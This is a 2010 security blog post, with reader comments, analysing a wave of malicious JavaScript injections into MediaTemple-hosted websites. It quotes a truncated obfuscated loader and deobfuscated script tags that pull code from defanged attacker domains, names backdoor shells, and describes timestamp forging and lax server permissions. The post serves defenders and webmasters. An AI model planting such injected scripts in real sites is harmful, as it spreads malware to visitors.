Unmask Parasites - Check your web pages for hidden links, iframes, malicious scripts, unauthorized redirects and other signs of security problems.
Loading site search ...

Pqshow .org Scripts – New Plague On MediaTemple Sites

   14 Aug 10   Filed in Website exploits

New week — new attack on MediaTemple-hosted sites.

Almost everything remains the same as in the last week’s attack I described here. The only difference is the new script and the new remote malicious site – bl .pqshow .org.

Malicious script

var st1 = 0;document.write(unescape('%3C%73%63%72%69%70%74%3E%76%61%72%20%61%3D%64...skipped ...%70%74%3E%27%29%7D%3B%3C%2F%73%63%72%69%70%74%3E'));var gr0=0;

After two rounds of deobfuscation, we have the following external script:

<s cript type="text/javascript" src="hxxp://bl .pqshow .org/js/in.js"></script>

As a week ago, this script is either prepended to first lines of random .js files, or injected directly into web pages, enclosed into <ads>…</ads> tags (mainly when websites don’t use local .js file). The script itself (after the first round of deobfuscation) also resembles the last week’s script. The main difference is the use of a single domain name (bl .pqshow .org) instead of multiple combinations of 5 second level domains and 36 third level domains.

C I Host

As in all previous attacks against MediaTemple and RackSpace, the malicious server is hosted by C I Host (Florida, Tampa). I wonder if MediaTemple and RackSpace eventually decide to sue C I Host for continuous attacks on their networks, or just force them to shut down malicious servers.

Looking for common denominator

As far as I know, all those attacks affect sites on accounts that have at least one mySql-driven application (it may work on another domain but still under the same hosting account) . Let me know if your site is affected, but you don’t have any applications that work with mySql.

The modification dates of affected files remain unmodified. Most likely hackers use some PHP script that injects malicious code and then restores the original modification date using the touch command. Most likely they can also change file and directory permissions. Anyway, I still suggest that you make most files read-only for all (at least .js files and WordPress theme files). Please let me know if any of your read only files get affected by hackers.

You can find more information on how to recover from this hacking in my previous article.

Centralized clean-up

As far as I know, last time MediaTemple scanned their servers for infected files and removed the malicious content not waiting for their client help requests. To minimize undesired effects of such an automated clean-up they created back-up copies of affected files before changing their content. This is a really good deed. MediaTemple hosts many popular sites and this way they saved thousands of web surfers from malware attacks. They also helped some webmasters avoid site blacklisting. However webmasters of already blacklisted sites stilled needed to explicitly request malware reviews via Google Webmaster Tools to unblock their clean (at that moment) sites.

Today, Google reports 1,000+ sites affected with this “bl .pqshow .org” hack and many of them are still infected. Hope, it’s only a matter of time before MediaTemple runs their clean-up bots.

To MediaTemple

I want to hear from MediaTemple how exactly hackers manage to injects malicious scripts into web sites of their clients. If it’s a vulnerability in a third party software then let us know what exactly is vulnerable. If it’s is because of insufficiently strict file permissions, then let us know what are the secure permissions.

When hackers manage to compromise thousands of sites in a very short time, and do it again and again during this summer, they should leave traces. You should have all the logs and tools to find them. Compare access logs of affected sites and find common IPs and suspicious access patterns (e.g. access to .php files on WP blogs with a “pretty permalink” structure). Check who was logged in when this happened, who used mySql, etc. Create honeypot accounts.

I know this means a lot of work and a lot of data to analyze — but this is the only way to find out what makes such massive hacks possible. And once you find this out, you should close rogue accounts (if they exist) and then do exactly the same thing that hackers do to find vulnerable accounts and, instead of hacking them, close the security holes by yourselves or notify webmasters and instruct them on how to secure their sites (and I don’t mean general instructions here). Until you do it, your infrastructure should be considered insecure. The fact that you haven’t yet figured out the exact attack scenario and couldn’t prevent consecutive massive attacks only proves this. The same applies to RackSpace.

Update (Aug 27th, 2010): This week I see  a new wave of infections of MediaTemple sites.  A few new modifications of the same  script. They inject external scripts from new malicious domains (etufg .com, crocro .biz, shindigz .info) and the following subdomains (“keg“, “kei“, “ken“, “kep“, “kev“, “kex“, “key“, “khi“, “kid“, “kif“),  e.g.

<s cript type="text/javascript" src="hxxp://kif.crocro .biz/tools/js.js"></script>

Related posts:

Reader's Comments (19)

  1. |

    […] This post was mentioned on Twitter by Denis, xanda. xanda said: Pqshow .org Scripts – New Plague On MediaTemple Sites […]

  2. |

    thanks for posting this, I have been trying to figure out what the hell is happening on my mediatemple hosting.

    I have a non mysql site that is getting hit too. Its a php powered site (injecting into jquery scripts). I also have a html only site that is not getting exploited.

    • |

      Thanks Darren,

      The question is do you have any other sites under that account? Is any of them uses mySql?

  3. |


    We’ve been following this as well and the thing is many of the first round of infected websites had backdoor shell scripts inserted too.

    We’ve found a variety of .php and .pl files that allow the hackers to re-infect after the initial clean-up.

    Some of the backdoors were the usual base64_decode stuff or the r57 or c99 shells, but many of them were relatively new too.

    I just thought I’d share that with you. Some strings to search for are:


    and many, many others.

    Keep in mind, that just because these terms exsit in a file doesn’t mean the file is definitely bad, it just warrants further investigation.

    As always, great research Denis.

    • |

      Thanks Thomas!

      Did you see it on MediaTemple sites? Did you figure out how those backdoor scripts were uploaded?

  4. |

    Yes. Mostly on MediaTemple sites. These all appeared to uploaded via FTP in the logs that we had access to.

    One other note, is that on the MediaTemple sites, the file and folder permissions were all changed. Or, I should say, were all wrong. We monitor file and folder permissions and all of the MediaTemple sites infected in this round had their permissions changed to 777 on folders.

    I know you’ve blogged about file and folder permissions so if anyone has been infected by these recent attacks, they should check all of their file and folder permissions.

    One thing we’ve been testing is not allowing execution rights on the images folder. As you know, the gifimg.php is usually found in the images folder. However, when you take away the execute right, it appears to block that from working.

    A small step, but every little bit (no pun intended) helps.

    • |


      I’m a bit confused. Are we talking about the same hacks?

      I can hardly imagine such massive attack limited to certain hosting services can use stolen FTP passwords (unless they are stolen from a central database, and according to MT they have “removed all use of “plain-text” passwords across the (mt) service architecture”)

      And that gifimg.php hack doesn’t seem to be connected to this case. (Of course, some MT clients are affected by Gumblar, but not a thousand in a single day)

  5. |

    Yes I believe we’re talking about the same hacks. In many of the cases we’ve seen, the shell scripts were uploaded via FTP according to the logs.

    We’re still trying to figure out how the hackers got the FTP credentials. But we did see the original files, often times id.txt or id1.txt, fun.txt, etc. were uploaded via FTP and then renamed after that.

    But these were on MT sites and they were the “this.b=this.M” or “var st1″ infections.

    I was just using the gifimg.php as an example of setting the non-execute rights on a folder. I should have left that out totally from my post. Sorry.

    • |

      Wait, really? Because if you’re right and these injections really did occur via FTP, it sure looks like MT’s security *has* been compromised, and that this *is* a MediaTemple problem and not a lax webmaster problem.

      Was MT’s database of username/passwords accessed illegitimately?

      How could so many sites on the same host suffer simultaneously from an FTP-based attack, without some centralized password database being compromised?

  6. |

    So a friends site got hacked in the same way (media temple host, javascript etc).

    I did some preliminary poking around, and on the gridserver that they are using, I must say, it didnt feel exactly ‘hardened’ to me. Im used to shared environments where Im restricted to my home directory on down, but if ssh into my account, and I can easily traverse around the whole tree. In fact there seems to be a *lot* of wide open permissions, additionally there are several examples of setuid scripts that I can execute but probably dont need to (ever heard of jailshell MT?) I know enough to know this looks fishy, but not enough to see how a MT customer could root their shared box, but since these gridservers probably have to mount all the filesystems, root on one box is probaby good enough to get to a whole host of magic.
    Theres open access to /var/tmp which houses a bunch of logs that might reveal vulnerablilities. The apache conf files, while protected from my prying eyes also happend to be under git version control, and i could certainly look at the git logs to see some of the changes made.

    This sounds like mediatemple needs to stop sending people to their howto for security until they get their own shit straight.

    • |

      Great comment CC.

      I think this *must* be a MT problem. I have multiple WordPress sites on various other hosts, but my MT-hosted WP sites have been attacked continuously.

      I’d feel better if MT was keeping us all posted on what *they* were doing, and on the tests and security precautions they were taking.

  7. |

    I have a mix of sites on MT and there have been issues this entire year – but this is worse because my clients are getting google alert pages instead of a website down.

    Is there anything a novice like myself can do or do I have to wait for MT ?

    • |


      After 3+ years with Media Temple, I’m moving all of my clients (over 60) off and shutting down my account. After the 4-day downtime in May 2009, I stuck around because they gave me a year for free, but if you add up all the hours I’ve spent cleaning up infected files and multiply it by even half my hourly rate, I’m several thousand dollars behind.

      Add to that the ill will it’s created among my clients, and their diminished confidence in the security and stability of the sites I host for them, and it’s just no longer worth it. I can’t recommend strongly enough that you find another host.

      Right now, if Media Temple wanted to keep me as a client, they’d have to deposit $5,000 in my bank account – to cover what they’ve already cost me in lost hours over the past year, plus what I anticipate they would cost me in future losses if I remained their customer.

      But that’s just putting numbers to losses. There’s no way I’m staying with them, because I’m at the point now where, if my customers have much more problems like this, I might have to shut my doors as well, and a $40/mo web host service just ain’t worth it.

      • |

        Note, that many other share hosting providers are affected with similar network-wide hacks.

        You might want to consider a private or virtual private server. Of course this may mean additional maintenance efforts, but you will not depend on security holes that are out of your control.

  8. |

    […] a quick bit of Googling landed me at the Unmask Parasites Blog where the post, Pqshow .org Scripts – New Plague On MediaTemple Sites, explained what to look for and how to help protect against further […]

  9. |

    There’s something else going on in addition to all these script injections.

    Folders are being created, mainly inside the “images” folder (or if you don’t already have one, one is created).

    The folders have names that are random-looking letters, for example: boxoa… fuvesa… pupado…

    Inside these folders are index.php files, all identical, full of CURL commands. I haven’t examined them closely, but at a glance they look identical or very similar to the PHP that’s being injected at the head of some scripts.

    Another thing that occurs to me…

    In the beginning of this rash of infections, a lot of attention was given to the idea that this was a WordPress vulnerability that was being exploited.

    Obviously if it were *purely* a WP exploit, we wouldn’t expect to see non-WP installations affected, but we are. As noted above, PHP, HTML and JS files in non-WP domains are being equally compromised.

    But correct me if I’m wrong: The WP installation chmods the wp-content/uploads folder for you – it doesn’t depend on you to chmod it via FTP or SSH.

    Now combine that with the way, also noted above, that MT has its grid servers set up, specifically the ability to traverse the entire domain tree of a single account, and I have to figure there’s your most likely path of attack.

    I’m at the limits of my knowledge about servers at this point, so I have no idea how the attackers are getting outside of one account and into others, but suffice it to say that I think we’re looking at either a systemic weakness in Media Temple’s gridserver configuration – something that can’t be remedied short of a radical redesign and/or taking the whole system down for a considerable period of time; or we’re talking about an inside job: Wouldn’t it be well worth it for these hackers (given that they’re doing this to pump up search engine results for their clients) to pay someone on the inside for info on how to continue hacking Media Temple?

    Taking the gridservers down for any period of time (remember last year’s 4-day downtime? I do… I got a year of free hosting because of it, too) probably means economic catastrophe for MT.

    An inside job is even worse… I can’t imagine what kind of nightmare they’re up against trying to root that one out.

    At any rate, I’ve said it before and I’ll say it again: Media Temple is heading straight toward a complete implosion if they don’t fix this right and fix it fast. You can only go for so long with thousands and thousands of customers affected, before they all leave, and word gets out such that MT can’t replace the customers who left. After that your only choice is to shut your doors.

  10. |


    Remember that one of the previous hacks was due to MT’s storing customer passwords in clear text. I’ve frankly never heard of such glaring incompetence at such a large company before.

  11. |

    Its important nix shared hosting providers look at facls. Its the answer for bad perms. Atleast you wont have one infected site open the door to the rest of them hosted on the box.

  12. |

    […] unmaskparasites has put up an analysis of the most recent round of media temple attacks, and doesn’t have anything good to say about them. If media temple has a reasonable excuse, […]